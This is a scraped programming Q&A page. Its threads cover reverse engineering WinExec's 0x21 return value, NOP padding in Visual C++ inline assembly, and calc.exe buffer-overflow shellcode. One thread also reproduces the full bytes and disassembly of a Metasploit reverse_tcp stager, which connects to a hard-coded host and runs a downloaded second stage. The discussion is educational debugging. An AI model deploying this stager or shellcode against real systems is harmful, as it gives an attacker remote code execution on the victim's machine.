WinExec Return 0x21, But what exactly it means? - windows

When call WinExec to run a .exe, I get return value 0x21.
According to MSDN, a return value greater than 31 (0x1F) means function succeeds.
But what does it mean of 0x21, Why it didn't return other value to me?

It is not useful for you to know what it means. That is an implementation detail. Even if you knew what it meant for this version, the meaning might change in the next version. As a programmer, you are concerned only with programming against the interface, not the underlying implementation.
However, if you are really interested, I will take you through the approach I would take to reverse engineer the function. On my system, WinExec is disassembled to this:
764F2C21 > 8BFF MOV EDI,EDI
764F2C23 55 PUSH EBP
764F2C24 8BEC MOV EBP,ESP
764F2C26 81EC 80000000 SUB ESP,80
764F2C2C 53 PUSH EBX
764F2C2D 8B5D 0C MOV EBX,DWORD PTR SS:[EBP+C]
764F2C30 56 PUSH ESI
764F2C31 57 PUSH EDI
764F2C32 33FF XOR EDI,EDI
764F2C34 47 INC EDI
764F2C35 33F6 XOR ESI,ESI
764F2C37 85DB TEST EBX,EBX
764F2C39 79 4F JNS SHORT kernel32.764F2C8A
764F2C3B 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
764F2C3E 50 PUSH EAX
764F2C3F 56 PUSH ESI
764F2C40 57 PUSH EDI
764F2C41 8D45 C8 LEA EAX,DWORD PTR SS:[EBP-38]
764F2C44 50 PUSH EAX
764F2C45 C745 FC 20000000 MOV DWORD PTR SS:[EBP-4],20
764F2C4C E8 90BE0200 CALL <JMP.&API-MS-Win-Core-ProcessThread>
764F2C51 85C0 TEST EAX,EAX
764F2C53 0F84 D2000000 JE kernel32.764F2D2B
764F2C59 56 PUSH ESI
764F2C5A 56 PUSH ESI
764F2C5B 6A 04 PUSH 4
764F2C5D 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
764F2C60 50 PUSH EAX
764F2C61 68 01000600 PUSH 60001
764F2C66 56 PUSH ESI
764F2C67 8D45 C8 LEA EAX,DWORD PTR SS:[EBP-38]
764F2C6A 50 PUSH EAX
764F2C6B C745 0C 00000800 MOV DWORD PTR SS:[EBP+C],80000
764F2C72 897D F8 MOV DWORD PTR SS:[EBP-8],EDI
764F2C75 E8 5CBE0200 CALL <JMP.&API-MS-Win-Core-ProcessThread>
764F2C7A 85C0 TEST EAX,EAX
764F2C7C 0F84 95000000 JE kernel32.764F2D17
764F2C82 8D45 C8 LEA EAX,DWORD PTR SS:[EBP-38]
764F2C85 8945 C4 MOV DWORD PTR SS:[EBP-3C],EAX
764F2C88 EB 03 JMP SHORT kernel32.764F2C8D
764F2C8A 8975 0C MOV DWORD PTR SS:[EBP+C],ESI
764F2C8D 6A 44 PUSH 44
764F2C8F 8D45 80 LEA EAX,DWORD PTR SS:[EBP-80]
764F2C92 56 PUSH ESI
764F2C93 50 PUSH EAX
764F2C94 E8 B5E9F7FF CALL <JMP.&ntdll.memset>
764F2C99 83C4 0C ADD ESP,0C
764F2C9C 33C0 XOR EAX,EAX
764F2C9E 3975 0C CMP DWORD PTR SS:[EBP+C],ESI
764F2CA1 897D AC MOV DWORD PTR SS:[EBP-54],EDI
764F2CA4 0F95C0 SETNE AL
764F2CA7 66:895D B0 MOV WORD PTR SS:[EBP-50],BX
764F2CAB 8D0485 44000000 LEA EAX,DWORD PTR DS:[EAX*4+44]
764F2CB2 8945 80 MOV DWORD PTR SS:[EBP-80],EAX
764F2CB5 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18]
764F2CB8 50 PUSH EAX
764F2CB9 8D45 80 LEA EAX,DWORD PTR SS:[EBP-80]
764F2CBC 50 PUSH EAX
764F2CBD 56 PUSH ESI
764F2CBE 56 PUSH ESI
764F2CBF FF75 0C PUSH DWORD PTR SS:[EBP+C]
764F2CC2 56 PUSH ESI
764F2CC3 56 PUSH ESI
764F2CC4 56 PUSH ESI
764F2CC5 FF75 08 PUSH DWORD PTR SS:[EBP+8]
764F2CC8 56 PUSH ESI
764F2CC9 E8 A4E3F7FF CALL kernel32.CreateProcessA
764F2CCE 85C0 TEST EAX,EAX
764F2CD0 74 27 JE SHORT kernel32.764F2CF9
764F2CD2 A1 3C005476 MOV EAX,DWORD PTR DS:[7654003C]
764F2CD7 3BC6 CMP EAX,ESI
764F2CD9 74 0A JE SHORT kernel32.764F2CE5
764F2CDB 68 30750000 PUSH 7530
764F2CE0 FF75 E8 PUSH DWORD PTR SS:[EBP-18]
764F2CE3 FFD0 CALL EAX
764F2CE5 FF75 E8 PUSH DWORD PTR SS:[EBP-18]
764F2CE8 8B35 A0054776 MOV ESI,DWORD PTR DS:[<&ntdll.NtClose>] ; ntdll.ZwClose
764F2CEE FFD6 CALL ESI
764F2CF0 FF75 EC PUSH DWORD PTR SS:[EBP-14]
764F2CF3 FFD6 CALL ESI
764F2CF5 6A 21 PUSH 21
764F2CF7 EB 1D JMP SHORT kernel32.764F2D16
764F2CF9 E8 C9E4F7FF CALL <JMP.&API-MS-Win-Core-ErrorHandling>
764F2CFE 48 DEC EAX
764F2CFF 48 DEC EAX
764F2D00 74 12 JE SHORT kernel32.764F2D14
764F2D02 48 DEC EAX
764F2D03 74 0B JE SHORT kernel32.764F2D10
764F2D05 2D BE000000 SUB EAX,0BE
764F2D0A 75 0B JNZ SHORT kernel32.764F2D17
764F2D0C 6A 0B PUSH 0B
764F2D0E EB 06 JMP SHORT kernel32.764F2D16
764F2D10 6A 03 PUSH 3
764F2D12 EB 02 JMP SHORT kernel32.764F2D16
764F2D14 6A 02 PUSH 2
764F2D16 5E POP ESI
764F2D17 F745 0C 00000800 TEST DWORD PTR SS:[EBP+C],80000
764F2D1E 74 09 JE SHORT kernel32.764F2D29
764F2D20 8D45 C8 LEA EAX,DWORD PTR SS:[EBP-38]
764F2D23 50 PUSH EAX
764F2D24 E8 A2BD0200 CALL <JMP.&API-MS-Win-Core-ProcessThread>
764F2D29 8BC6 MOV EAX,ESI
764F2D2B 5F POP EDI
764F2D2C 5E POP ESI
764F2D2D 5B POP EBX
764F2D2E C9 LEAVE
764F2D2F C2 0800 RETN 8
The call convention used under Win32 is stdcall which mandates return values be held in EAX. In the case of WinExec, there is only one exit from the function (0x764F2D2F). Tracing back from there, EAX is set by (at least when the return is 0x21):
764F2D29 8BC6 MOV EAX,ESI
Tracing back further, ESI itself is set from POP ESI which pops the top of the stack into ESI. The value of this is dependent on what was previously pushed on the stack. In the case of 0x21, this happens at:
764F2CF5 6A 21 PUSH 21
Immediately afterwards, a JMP is made to the POP ESI. How we got to the PUSH 21 is interesting only from after the CreateProcess call.
764F2CC9 E8 A4E3F7FF CALL kernel32.CreateProcessA
764F2CCE 85C0 TEST EAX,EAX
764F2CD0 74 27 JE SHORT kernel32.764F2CF9
764F2CD2 A1 3C005476 MOV EAX,DWORD PTR DS:[7654003C]
764F2CD7 3BC6 CMP EAX,ESI
764F2CD9 74 0A JE SHORT kernel32.764F2CE5
764F2CDB 68 30750000 PUSH 7530
764F2CE0 FF75 E8 PUSH DWORD PTR SS:[EBP-18]
764F2CE3 FFD0 CALL EAX
764F2CE5 FF75 E8 PUSH DWORD PTR SS:[EBP-18]
764F2CE8 8B35 A0054776 MOV ESI,DWORD PTR DS:[<&ntdll.NtClose>] ; ntdll.ZwClose
764F2CEE FFD6 CALL ESI
764F2CF0 FF75 EC PUSH DWORD PTR SS:[EBP-14]
764F2CF3 FFD6 CALL ESI
764F2CF5 6A 21 PUSH 21
To see how the path will take you to the PUSH 21, observe different branches. The first occurs as:
764F2CD0 74 27 JE SHORT kernel32.764F2CF9
This is saying if CreateProcess returned 0, call Win-Core-ErrorHandling. The return values are then set differently (0x2, 0x3 and 0xB are all possible return values if CreateProcess failed).
The next branch is a lot less obvious to reverse engineer:
764F2CD9 74 0A JE SHORT kernel32.764F2CE5
What it does is read a memory address which probably contains a function pointer (we know this because the result of the read is called later on). This JE simply indicates whether or not to make this call at all. Regardless of whether the call is made, the next step is to call ZwClose (twice). Finally 0x21 is returned.
So one simple way of looking at it is that when CreateProcess succeeds, 0x21 is returned, otherwise 0x2, 0x3 or 0xB are returned. This is not to say these are the only return values. For example, 0x0 can also be returned from the branch at 0x764F2C53 (in this case, ESI is not used in the same way at all). There are a few more possible return values but I will leave those for you to look into yourself.
What I've shown you is how to do a very shallow analysis of WinExec specifically for the 0x21 return. If you want to find out more, you need to poke around more in-depth and try to understand from a higher level what is going on. You'll be able to find out a lot more just by breakpointing the function and stepping through it (this way you can observe data values).
One other way is to look at the Wine source, where someone has already done all the hard work for you:
UINT WINAPI WinExec( LPCSTR lpCmdLine, UINT nCmdShow )
{
PROCESS_INFORMATION info;
STARTUPINFOA startup;
char *cmdline;
UINT ret;
memset( &startup, 0, sizeof(startup) );
startup.cb = sizeof(startup);
startup.dwFlags = STARTF_USESHOWWINDOW;
startup.wShowWindow = nCmdShow;
/* cmdline needs to be writable for CreateProcess */
if (!(cmdline = HeapAlloc( GetProcessHeap(), 0, strlen(lpCmdLine)+1 ))) return 0;
strcpy( cmdline, lpCmdLine );
if (CreateProcessA( NULL, cmdline, NULL, NULL, FALSE,
0, NULL, NULL, &startup, &info ))
{
/* Give 30 seconds to the app to come up */
if (wait_input_idle( info.hProcess, 30000 ) == WAIT_FAILED)
WARN("WaitForInputIdle failed: Error %d\n", GetLastError() );
ret = 33;
/* Close off the handles */
CloseHandle( info.hThread );
CloseHandle( info.hProcess );
}
else if ((ret = GetLastError()) >= 32)
{
FIXME("Strange error set by CreateProcess: %d\n", ret );
ret = 11;
}
HeapFree( GetProcessHeap(), 0, cmdline );
return ret;
}
33d is 0x21 so this actually just confirms the fruits of our earlier analysis.
In regards to the reason 0x21 is returned, my guess is that perhaps there exists more internal documentation which makes it more useful in some way.

Other than that this means success, the meaning of the return value is not defined. Perhaps it was chosen such that legacy applications will work well with this particular value. One thing is certain: there are more important things to worry about!
http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393(v=vs.85).aspx

EDIT: This answer is wrong because the OP's result is not an error code. I mistakenly thought it was said that it was an error code. I still think the practical info below can be useful, plus that it can be useful to see what a wrong assumption can lead to, so I let this answer stand.
If you have installed Visual Studio (full or express edition), then you have a tool called errlook, which uses the FormatMessage API function to tell you what an error code or HRESULT value means.
In this case,
The process cannot access the file because another process has locked a portion of the file.
You can do much of the same manually by looking in the <winerror.h> file. For example, type an #include of that in a C++ source file in Visual Studio, then right click and ask it to open the header. Where you find that
//
// MessageId: ERROR_LOCK_VIOLATION
//
// MessageText:
//
// The process cannot access the file because another process has locked a portion of the file.
//
#define ERROR_LOCK_VIOLATION 33L
By the way, WinExec is just an old compatibility function. Preferably use ShellExecute or CreateProcess. The ShellExecute function is able to play more nicely with Windows Vista and 7 User Access Control, and it is simpler to use, so it is generally preferable.

Related

Why is this assembly program crashing (re-assembled ndisasm output)?

I extracted the assembly code of the windows/meterpreter/reverse_tcp payload with lhost set to 127.0.0.1 and lport set to 443, however after building the assembly program with fasm the program crashes, any ideas as to why?
assembly code:
format PE console
use32
entry start
start:
pusha
mov ebp,esp
xor edx,edx
mov edx,[fs:edx+0x30]
mov edx,[edx+0xc]
mov edx,[edx+0x14]
xor edi,edi
movzx ecx,word [edx+0x26]
mov esi,[edx+0x28]
xor eax,eax
lodsb
cmp al,0x61
jl 0x27
sub al,0x20
ror edi, 0xd
add edi,eax
dec ecx
jnz 0x1e
push edx
push edi
mov edx,[edx+0x10]
mov eax,[edx+0x3c]
add eax,edx
mov eax,[eax+0x78]
test eax,eax
jz 0x8c
add eax,edx
push eax
mov ebx,[eax+0x20]
add ebx,edx
mov ecx,[eax+0x18]
test ecx,ecx
jz 0x8b
xor edi,edi
dec ecx
mov esi,[ebx+ecx*4]
add esi,edx
xor eax,eax
ror edi, 0xd
lodsb
add edi,eax
cmp al,ah
jnz 0x57
add edi,[ebp-0x8]
cmp edi,[ebp+0x24]
jnz 0x4b
pop eax
mov ebx,[eax+0x24]
add ebx,edx
mov cx,[ebx+ecx*2]
mov ebx,[eax+0x1c]
add ebx,edx
mov eax,[ebx+ecx*4]
add eax,edx
mov [esp+0x24],eax
pop ebx
pop ebx
popa
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
pop edx
mov edx,[edx]
jmp 0x15
pop ebp
push dword 0x5f327377
push esp
push dword 0x726774c
mov eax,ebp
call eax
sub esp,eax
push esp
push eax
push dword 0x6b8029
call ebp
push 0xa
push dword 0xf201a8c0
push dword 0xbb010002
mov esi,esp
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
push dword 0xe0df0fea
call ebp
xchg eax,edi
push 0x10
push esi
push edi
push dword 0x6174a599
call ebp
test eax,eax
jz 0xf1
dec dword [esi+0x8]
jnz 0xd8
push 0x0
push 0x4
push esi
push edi
push dword 0x5fc8d902
call ebp
cmp eax, 0x0
jng 0x139
mov esi,[esi]
push 0x40
push esi
push 0x0
push dword 0xe553a458
call ebp
xchg eax,ebx
push ebx
push 0x0
push esi
push ebx
push edi
push dword 0x5fc8d902
call ebp
cmp eax, 0x0
jnl 0x151
pop eax
push 0x0
push eax
push dword 0x300f2f0b
call ebp
push edi
push dword 0x614d6e75
call ebp
pop esi
pop esi
dec dword [esp]
jnz near 0xbc
jmp 0xec
add ebx,eax
sub esi,eax
jnz 0x118
ret
mov ebx,0x56a2b5f0
push 0x0
push ebx
call ebp
I'm compiling and running within a windows 7 environment.
I believe it may be because of the push <single_byte> instructions de-aligning the stack, however I'm not sure and inexperienced with assembly, hopefully someone in the community can help me understand what's causing the crash, thanks.
output of:
python -c 'open("out.bin", "wb").write(b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\xf2\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5")' && ndisasm -b 32 out.bin
00000000 FC cld
00000001 E88F000000 call 0x95
00000006 60 pusha
00000007 89E5 mov ebp,esp
00000009 31D2 xor edx,edx
0000000B 648B5230 mov edx,[fs:edx+0x30]
0000000F 8B520C mov edx,[edx+0xc]
00000012 8B5214 mov edx,[edx+0x14]
00000015 31FF xor edi,edi
00000017 0FB74A26 movzx ecx,word [edx+0x26]
0000001B 8B7228 mov esi,[edx+0x28]
0000001E 31C0 xor eax,eax
00000020 AC lodsb
00000021 3C61 cmp al,0x61
00000023 7C02 jl 0x27
00000025 2C20 sub al,0x20
00000027 C1CF0D ror edi,byte 0xd
0000002A 01C7 add edi,eax
0000002C 49 dec ecx
0000002D 75EF jnz 0x1e
0000002F 52 push edx
00000030 57 push edi
00000031 8B5210 mov edx,[edx+0x10]
00000034 8B423C mov eax,[edx+0x3c]
00000037 01D0 add eax,edx
00000039 8B4078 mov eax,[eax+0x78]
0000003C 85C0 test eax,eax
0000003E 744C jz 0x8c
00000040 01D0 add eax,edx
00000042 50 push eax
00000043 8B5820 mov ebx,[eax+0x20]
00000046 01D3 add ebx,edx
00000048 8B4818 mov ecx,[eax+0x18]
0000004B 85C9 test ecx,ecx
0000004D 743C jz 0x8b
0000004F 31FF xor edi,edi
00000051 49 dec ecx
00000052 8B348B mov esi,[ebx+ecx*4]
00000055 01D6 add esi,edx
00000057 31C0 xor eax,eax
00000059 C1CF0D ror edi,byte 0xd
0000005C AC lodsb
0000005D 01C7 add edi,eax
0000005F 38E0 cmp al,ah
00000061 75F4 jnz 0x57
00000063 037DF8 add edi,[ebp-0x8]
00000066 3B7D24 cmp edi,[ebp+0x24]
00000069 75E0 jnz 0x4b
0000006B 58 pop eax
0000006C 8B5824 mov ebx,[eax+0x24]
0000006F 01D3 add ebx,edx
00000071 668B0C4B mov cx,[ebx+ecx*2]
00000075 8B581C mov ebx,[eax+0x1c]
00000078 01D3 add ebx,edx
0000007A 8B048B mov eax,[ebx+ecx*4]
0000007D 01D0 add eax,edx
0000007F 89442424 mov [esp+0x24],eax
00000083 5B pop ebx
00000084 5B pop ebx
00000085 61 popa
00000086 59 pop ecx
00000087 5A pop edx
00000088 51 push ecx
00000089 FFE0 jmp eax
0000008B 58 pop eax
0000008C 5F pop edi
0000008D 5A pop edx
0000008E 8B12 mov edx,[edx]
00000090 E980FFFFFF jmp 0x15
00000095 5D pop ebp
00000096 6833320000 push dword 0x3233
0000009B 687773325F push dword 0x5f327377
000000A0 54 push esp
000000A1 684C772607 push dword 0x726774c
000000A6 89E8 mov eax,ebp
000000A8 FFD0 call eax
000000AA B890010000 mov eax,0x190
000000AF 29C4 sub esp,eax
000000B1 54 push esp
000000B2 50 push eax
000000B3 6829806B00 push dword 0x6b8029
000000B8 FFD5 call ebp
000000BA 6A0A push byte +0xa
000000BC 68C0A801F2 push dword 0xf201a8c0
000000C1 68020001BB push dword 0xbb010002
000000C6 89E6 mov esi,esp
000000C8 50 push eax
000000C9 50 push eax
000000CA 50 push eax
000000CB 50 push eax
000000CC 40 inc eax
000000CD 50 push eax
000000CE 40 inc eax
000000CF 50 push eax
000000D0 68EA0FDFE0 push dword 0xe0df0fea
000000D5 FFD5 call ebp
000000D7 97 xchg eax,edi
000000D8 6A10 push byte +0x10
000000DA 56 push esi
000000DB 57 push edi
000000DC 6899A57461 push dword 0x6174a599
000000E1 FFD5 call ebp
000000E3 85C0 test eax,eax
000000E5 740A jz 0xf1
000000E7 FF4E08 dec dword [esi+0x8]
000000EA 75EC jnz 0xd8
000000EC E867000000 call 0x158
000000F1 6A00 push byte +0x0
000000F3 6A04 push byte +0x4
000000F5 56 push esi
000000F6 57 push edi
000000F7 6802D9C85F push dword 0x5fc8d902
000000FC FFD5 call ebp
000000FE 83F800 cmp eax,byte +0x0
00000101 7E36 jng 0x139
00000103 8B36 mov esi,[esi]
00000105 6A40 push byte +0x40
00000107 6800100000 push dword 0x1000
0000010C 56 push esi
0000010D 6A00 push byte +0x0
0000010F 6858A453E5 push dword 0xe553a458
00000114 FFD5 call ebp
00000116 93 xchg eax,ebx
00000117 53 push ebx
00000118 6A00 push byte +0x0
0000011A 56 push esi
0000011B 53 push ebx
0000011C 57 push edi
0000011D 6802D9C85F push dword 0x5fc8d902
00000122 FFD5 call ebp
00000124 83F800 cmp eax,byte +0x0
00000127 7D28 jnl 0x151
00000129 58 pop eax
0000012A 6800400000 push dword 0x4000
0000012F 6A00 push byte +0x0
00000131 50 push eax
00000132 680B2F0F30 push dword 0x300f2f0b
00000137 FFD5 call ebp
00000139 57 push edi
0000013A 68756E4D61 push dword 0x614d6e75
0000013F FFD5 call ebp
00000141 5E pop esi
00000142 5E pop esi
00000143 FF0C24 dec dword [esp]
00000146 0F8570FFFFFF jnz near 0xbc
0000014C E99BFFFFFF jmp 0xec
00000151 01C3 add ebx,eax
00000153 29C6 sub esi,eax
00000155 75C1 jnz 0x118
00000157 C3 ret
00000158 BBF0B5A256 mov ebx,0x56a2b5f0
0000015D 6A00 push byte +0x0
0000015F 53 push ebx
00000160 FFD5 call ebp
gdb output:
C:\Users\localbox\Desktop>gdb msf_shellcode.exe
GNU gdb (GDB) 7.6.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "mingw32".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from C:\Users\localbox\Desktop\msf_shellcode.exe...(no debugging
symbols found)...done.
(gdb) run
Starting program: C:\Users\localbox\Desktop/msf_shellcode.exe
[New Thread 2336.0xb00]
Program received signal SIGSEGV, Segmentation fault.
0x0000001e in ?? ()
(gdb) x/32xw $esp
0x6ff6c: 0x00000000 0x00000000 0x0006ff94 0x0006ff8c
0x6ff7c: 0x7ffd5000 0x00401000 0x00000000 0x772fef9a
0x6ff8c: 0x772fefac 0x7ffd5000 0x0006ffd4 0x77b33628
0x6ff9c: 0x7ffd5000 0x778d44b6 0x00000000 0x00000000
0x6ffac: 0x7ffd5000 0x00000000 0x00000000 0x00000000
0x6ffbc: 0x0006ffa0 0x00000000 0xffffffff 0x77aee325
0x6ffcc: 0x0039b51a 0x00000000 0x0006ffec 0x77b335fb
0x6ffdc: 0x00401000 0x7ffd5000 0x00000000 0x00000000
(gdb) info registers
eax 0x4d 77
ecx 0x23 35
edx 0x1f1ae8 2038504
ebx 0x7ffd5000 2147307520
esp 0x6ff6c 0x6ff6c
ebp 0x6ff6c 0x6ff6c
esi 0x1f1929 2038057
edi 0x4d 77
eip 0x1e 0x1e
eflags 0x10202 [ IF RF ]
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
You crashed with EIP=0x1e. That's because you told FASM to jump there, to that absolute address, with jnz 0x1e. That page of memory is not mapped into your user-space process, so code-fetch causes an "invalid" page fault, and consequently the OS stops your process.
In the ndisasm output, you can see that 1E is the 0000001E 31C0 xor eax,eax line. That's where that branch is supposed to jump (if taken). ndisasm is disassembling as if the block of machine code was loaded starting at absolute address 0, or you could say it's using relative addresses.
(jcc rel8 is of course in the machine code a relative jump; the original machine code is position independent. So is yours, except that jnz 0x1e tells FASM to figure out the relative offset necessary to reach EIP=0x1e from wherever this instruction will end up.)
Use a disassembler that uses labels for branch targets to make asm source you can actually re-assemble, like Agner Fog's objconv. It can disassemble into NASM/YASM, MASM, or GAS (.intel_syntax noprefix) syntax. NASM and FASM are very close in syntax, and that's what ndisasm make.

Can not understand how my shellcode works. Shellcode for windows OS( not Linux!) to open calc.exe

I’ve got a shellcode. It opens calculator in my buffer overflow program.
0: eb 16 jmp 0x18
2: 5b pop ebx
3: 31 c0 xor eax,eax
5: 50 push eax
6: 53 push ebx
7: bb 4d 11 86 7c mov ebx,0x7c86114d
c: ff d3 call ebx
e: 31 c0 xor eax,eax
10: 50 push eax
11: bb ea cd 81 7c mov ebx,0x7c81cdea
16: ff d3 call ebx
18: e8 e5 ff ff ff call 0x2
1d: 63 61 6c arpl WORD PTR [ecx+0x6c],sp
20: 63 2e arpl WORD PTR [esi],bp
22: 65 78 65 gs js 0x8a
25: 00 90 90 90 90 90 add BYTE PTR [eax-0x6f6f6f70],dl
2b: 90 nop
2c: 90 nop
2d: 90 nop
2e: 90 nop
2f: 90 nop
Apart from the main question being “What does this shellcode do line by line”, I am particularly interested in:
The jmp operation, why and where does my program jump?
The arpl stuff, I see it for the first time and google does not help me much... Same with GS operation
The jmp 0x18 is a relative jump to offset 0x18, which is practically the end of your code. It then calls address 0x2 (again, relative). This call places the "return address" on the stack, so it could be popped from it, giving you a clue about the address in which this relative shellcode is being executed. And indeed, the pop ebx at offset 0x2 is getting the address from the stack.
I said that 0x18 is the end of the code, because the lines after it are data bytes and not asm opcodes. This is why you see arpl. If you look at the hex values of the bytes, you will see:
calc.exe\0 ==> 0x63 0x61 0x63 0x6c 0x2e 0x65 0x78 0x65 0x00
Edited:
The full flow of the shellcode is:
jmp 0x18 - jump to to the last code instruction of the shellcode
call 0x2 - returns to offset 2, and stores the address of offset 0x1D on the stack
pop ebx - ebx := address from the stack, which is the address of the string "calc.exe"
xor eax,eax - common opcode to zero the register: eax := 0
push eax - push the value 0 as the second argument for a future function call
push ebx - push the pointer to "calc.exe" as the first argument for a future function call
mov ebx,0x7c86114d - ebx will be a fixed address (probably WinExec)
call ebx - call the function: WinExec("calc.exe", 0)
xor eax,eax - again, eax := 0
push eax - push the value 0 as the first argument for a future function call
mov ebx,0x7c81cdea - ebx will be a fixed address (probably exit)
call ebx - call the function: exit(0)

How can I insert repeated NOP statements using Visual C++'s inline assembler?

Visual C++, using Microsoft's compiler, allows us to define inline assembly code using:
__asm {
nop
}
What I need is a macro that makes possible to multiply such instruction n times like:
ASM_EMIT_MULT(op, times)
for example:
ASM_EMIT_MULT(0x90, 160)
Is that possible? How could I do this?
With MASM, this is very simple to do. Part of the installation is a file named listing.inc (since everyone gets MASM as part of Visual Studio now, this will be located in your Visual Studio root directory/VC/include). This file defines a series of npad macros that take a single size argument and expand to an appropriate sequence of non-destructive "padding" opcodes. If you only need one byte of padding, you use the obvious nop instruction. But rather than using a long series of nops until you reach the desired length, Intel actually recommends other non-destructive opcodes of the appropriate length, as do other vendors. These pre-defined npad macros free you from having to memorize that table, not to mention making the code much more readable.
Unfortunately, inline assembly is not a full-featured assembler. There are a lot of things missing that you would expect to find in real assemblers like MASM. Macros (MACRO) and repeats (REPEAT/REPT) are among the things that are missing.
However, ALIGN directives are available in inline assembly. These will generate the required number of nops or other non-destructive opcodes to enforce alignment of the next instruction. Using this is drop-dead simple. Here is a very stupid example, where I've taken working code and peppered it with random aligns:
unsigned long CountDigits(unsigned long value)
{
__asm
{
mov edx, DWORD PTR [value]
bsr eax, edx
align 4
xor eax, 1073741792
mov eax, DWORD PTR [4 * eax + kMaxDigits+132]
align 16
cmp edx, DWORD PTR [4 * eax + kPowers-4]
sbb eax, 0
align 8
}
}
This generates the following output (MSVC's assembly listings use npad x, where x is the number of bytes, just as you'd write it in MASM):
PUBLIC CountDigits
_TEXT SEGMENT
_value$ = 8
CountDigits PROC
00000 8b 54 24 04 mov edx, DWORD PTR _value$[esp-4]
00004 0f bd c2 bsr eax, edx
00007 90 npad 1 ;// enforcing the "align 4"
00008 35 e0 ff ff 3f xor eax, 1073741792
0000d 8b 04 85 84 00
00 00 mov eax, DWORD PTR _kMaxDigits[eax*4+132]
00014 eb 0a 8d a4 24
00 00 00 00 8d
49 00 npad 12 ;// enforcing the "align 16"
00020 3b 14 85 fc ff
ff ff cmp edx, DWORD PTR _kPowers[eax*4-4]
00027 83 d8 00 sbb eax, 0
0002a 8d 9b 00 00 00
00 npad 6 ;// enforcing the "align 8"
00030 c2 04 00 ret 4
CountDigits ENDP
_TEXT ENDS
If you aren't actually wanting to enforce alignment, but just want to insert an arbitrary number of nops (perhaps as filler for later hot-patching?), then you can use C macros to simulate the effect:
#define NOP1 __asm { nop }
#define NOP2 NOP1 NOP1
#define NOP4 NOP2 NOP2
#define NOP8 NOP4 NOP4
#define NOP16 NOP8 NOP8
// ...
#define NOP64 NOP16 NOP16 NOP16 NOP16
// ...etc.
And then pepper your code as desired:
unsigned long CountDigits(unsigned long value)
{
__asm
{
mov edx, DWORD PTR [value]
bsr eax, edx
NOP8
xor eax, 1073741792
mov eax, DWORD PTR [4 * eax + kMaxDigits+132]
NOP4
cmp edx, DWORD PTR [4 * eax + kPowers-4]
sbb eax, 0
}
}
to produce the following output:
PUBLIC CountDigits
_TEXT SEGMENT
_value$ = 8
CountDigits PROC
00000 8b 54 24 04 mov edx, DWORD PTR _value$[esp-4]
00004 0f bd c2 bsr eax, edx
00007 90 npad 1 ;// these are, of course, just good old NOPs
00008 90 npad 1
00009 90 npad 1
0000a 90 npad 1
0000b 90 npad 1
0000c 90 npad 1
0000d 90 npad 1
0000e 90 npad 1
0000f 35 e0 ff ff 3f xor eax, 1073741792
00014 8b 04 85 84 00
00 00 mov eax, DWORD PTR _kMaxDigits[eax*4+132]
0001b 90 npad 1
0001c 90 npad 1
0001d 90 npad 1
0001e 90 npad 1
0001f 3b 14 85 fc ff
ff ff cmp edx, DWORD PTR _kPowers[eax*4-4]
00026 83 d8 00 sbb eax, 0
00029 c2 04 00 ret 4
CountDigits ENDP
_TEXT ENDS
Or, even cooler, we can use a bit of template meta-programming magic to get the same effect in style. Just define the following template function and its specialization (important to prevent infinite recursion):
template <size_t N> __forceinline void npad()
{
npad<N-1>();
__asm { nop }
}
template <> __forceinline void npad<0>() { }
And use it like this:
unsigned long CountDigits(unsigned long value)
{
__asm
{
mov edx, DWORD PTR [value]
bsr eax, edx
}
npad<8>();
__asm
{
xor eax, 1073741792
mov eax, DWORD PTR [4 * eax + kMaxDigits+132]
}
